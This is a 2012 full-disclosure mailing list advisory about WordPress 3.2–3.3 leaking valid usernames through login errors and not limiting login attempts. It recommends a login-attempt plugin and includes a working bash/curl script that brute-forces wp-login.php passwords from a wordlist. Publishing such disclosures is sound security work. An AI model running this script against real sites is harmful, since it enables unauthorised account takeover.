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Date: Sun, 29 Apr 2012 16:09:16 +0000
From: CorryL <corryl80@...il.com>
To: full-disclosure@...ts.grok.org.uk
Cc: submit@...sec.com
Subject: WordPress BruteForce Script

-=[--------------------ADVISORY-------------------]=-

WordPress BruteForce Script

Author: Corrado Liotta Aka CorryL [corryl80@...il.com] #x0n3-h4ck will
never die#
-=[-----------------------------------------------]=-


-=[+] Application: WordPress
-=[+] Version: 3.2-3.3
-=[+] Vendor's URL: Wordpres.org
-=[+] Platform: Windows\Linux\Unix
-=[+] Bug type: BruteForce
-=[+] Exploitation: Remote
-=[-]
-=[+] Author: Corrado Liotta Aka CorryL ~ corryl80[at]gmail[dot]com ~
-=[+] Facebook: https://www.facebook.com/CorryL
-=[+] Twitter: https://twitter.com/#!/CorradoLiotta
-=[+] Linkedin: http://it.linkedin.com/pub/corrado-liotta/21/1a8/611
-=[+] +Google: https://plus.google.com/u/0/109396477464303670923

...::[ Descriprion ]::..

What I am about to describe is not a new thing, but I wanted to create
this simple script,
to show how easily it is possible to violate famous as a cms wordpress,
unfortunately like most of you know wordpress has some minor problems
related to the security module login,
in practice as you will see in the picture any user can discover a
user actually
exists simply trying to enter any passwords, because if the CMS
recognizes that the user is present
in the database but the password is wrong return this message "the
password for the admin user is not correct ",
so this makes us understand that the admin user exists,
and that you need only enter the correct password. Another small flaw
security of this CMS
is that it has no control on the default login attemps,
this allows a attaker do not want all the attempts that never stopped coming,
a TIP that I give to all those who use this cms is to install a plugin
for login attemps,
we find several directories inside the plugins wordpress.org




...::[ Proof Of Concept ]::..

Image: http://img832.imageshack.us/img832/4481/wordpressbrute.jpg

...::[ Script ]::..

#!/bin/bash
echo "Wordpress Bruteforcing By Corrado Liotta Aka CorryL"
# Questo script è stato creato a scopo illustrativo.
# Non mi ritengo responsabile sull'uso inappropriato.
# La violazione di sistema informatico non autorizzato
# è punibile per legge Art. 615 Ter
# Installa sul tuo blog wordpress un plugin per il login attemp.
echo "Username"; read USER;
echo "Wordlist Password"; read WLIST;
echo "Sito Web"; read WEB;


while read line
do
echo "---> TESTING ${line} per l'utente $USER"
curl --output test.html --cookie-jar c.cookie --data
"log=$USER&pwd=${line}&wp-submit=Collegati&redirect_to=http%3A%2F%2F$WEB%2Fwp-admin%2F&testcookie=1"
"http://$WEB/wp-login.php"
cat c.cookie>COOK
PARSE=$(cat test.html |grep "La password inserita per l'utente")
CHECK=$(cat COOK|grep "#HttpOnly")
if [ "$CHECK" != "" ]; then
echo "--> Utente $USER PASSWORD TROVATA ! -->  ${line} "
break
else
echo "--> Utente $USER PASSWORD Non Trovata !"
fi


done < $WLIST



..::[ Disclousure Timeline ]::..

[29/04/2012] - Public Disclousure

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